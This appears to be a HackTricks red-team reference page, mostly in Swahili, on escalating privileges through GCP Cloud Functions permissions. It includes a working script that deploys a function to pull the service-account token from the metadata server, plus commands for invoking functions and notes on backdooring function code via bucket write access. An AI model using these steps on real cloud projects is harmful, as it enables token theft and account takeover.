GCP - Cloudfunctions Privesc

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

cloudfunctions

Maelezo zaidi kuhusu Cloud Functions:

GCP - Cloud Functions Enum

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Mshambuliaji mwenye vibali hivi anaweza kuunda Cloud Function mpya yenye arbitrary (malicious) code na kuiteua Service Account. Kisha, leak Service Account token kutoka metadata ili kuongeza vibali kwake.
Huenda ikahitajika baadhi ya vibali ili ku-trigger function.

Exploit scripts for this method can be found here and here and the prebuilt .zip file can be found here.

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Mshambuliaji mwenye vibali hivi anaweza kubadilisha code ya Function na hata kubadilisha service account iliyounganishwa kwa lengo la exfiltrating token.

Caution

Ili ku-deploy cloud functions utahitaji pia vibali vya actAs juu ya default compute service account au juu ya service account inayotumika kujenga image.

Huenda ikahitajika vibali vingine kama ruhusa ya .call kwa version 1 cloudfunctions au role role/run.invoker ili ku-trigger function.

# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

Caution

Ikiwa unapata kosa Permission 'run.services.setIamPolicy' denied on resource... ni kwa sababu unatumia param --allow-unauthenticated na huna ruhusa za kutosha kwa hilo.

Exploit script kwa njia hii inaweza kupatikana here.

cloudfunctions.functions.sourceCodeSet

Kwa ruhusa hii unaweza kupata URL iliyosainiwa ili uweze ku-upload faili kwenye function bucket (lakini msimbo wa function hautabadilika, bado unahitaji kusasisha)

# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

Sina uhakika ruhusa hii peke yake itakuwa muhimu kwa mdukuzi, lakini ni vizuri kujua.

cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs

Jipa yoyote ya ruhusa za awali za .update au .create ili kupandisha ruhusa.

gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
--region=<REGION> \
--member="<MIEMBRO>" \
--role="roles/cloudfunctions.invoker"

cloudfunctions.functions.update

Kwa kuwa na ruhusa za cloudfunctions pekee, bila iam.serviceAccounts.actAs, hutaweza kusasisha function SO THIS IS NOT A VALID PRIVESC.

Kuitisha functions

Kwa ruhusa za cloudfunctions.functions.get, cloudfunctions.functions.invoke, run.jobs.run, na run.routes.invoke, kitambulisho kinaweza kuitisha moja kwa moja Cloud Functions. Pia inahitajika kwa function kuruhusu trafiki ya umma, au kwa muombaji kuwa ndani ya mtandao uleule kama function yenyewe.

curl -X POST "https://<FUNCTION_URL>" \
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
-H "Content-Type: application/json" \
-d '{  "name": "Developer" }'

Ufikiaji wa Kusoma na Kuandika juu ya bucket

Ikiwa una ufikiaji wa kusoma na kuandika juu ya bucket unaweza kufuatilia mabadiliko kwenye code na kila wakati panapotokea update katika bucket unaweza kubadilisha code mpya na code yako mwenyewe ili toleo jipya la Cloud Function liendeshwe na code iliyowasilishwa yenye backdoor.

Unaweza kuona zaidi kuhusu shambulio hili katika:

GCP - Storage Privesc

Hata hivyo, huwezi kutumia hii ku-pre-compromise Cloud Functions za wahusika wengine kwa sababu kama unaunda bucket kwenye account yako na kuipa ruhusa ya umma ili project ya nje iweze kuandika juu yake, utapokea hitilafu ifuatayo:

Caution

Hata hivyo, hii inaweza kutumika kwa DoS attacks.

Ufikiaji wa Kusoma na Kuandika juu ya Artifact Registry

Unapounda Cloud Function picha mpya ya docker inasukumwa kwenye Artifact Registry ya project. Nilijaribu kubadilisha image kwa ile mpya, na hata kufuta image ya sasa (na cache image) lakini hakuna kilichobadilika, cloud function ilidumu ikifanya kazi. Kwa hivyo, huenda inawezekana kutumia Race Condition attack kama ilivyo kwa bucket kubadilisha docker container itakayotekelezwa, lakini kubadilisha tu image iliyohifadhiwa siyo njia ya ku-compromise Cloud Function.

Marejeo

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks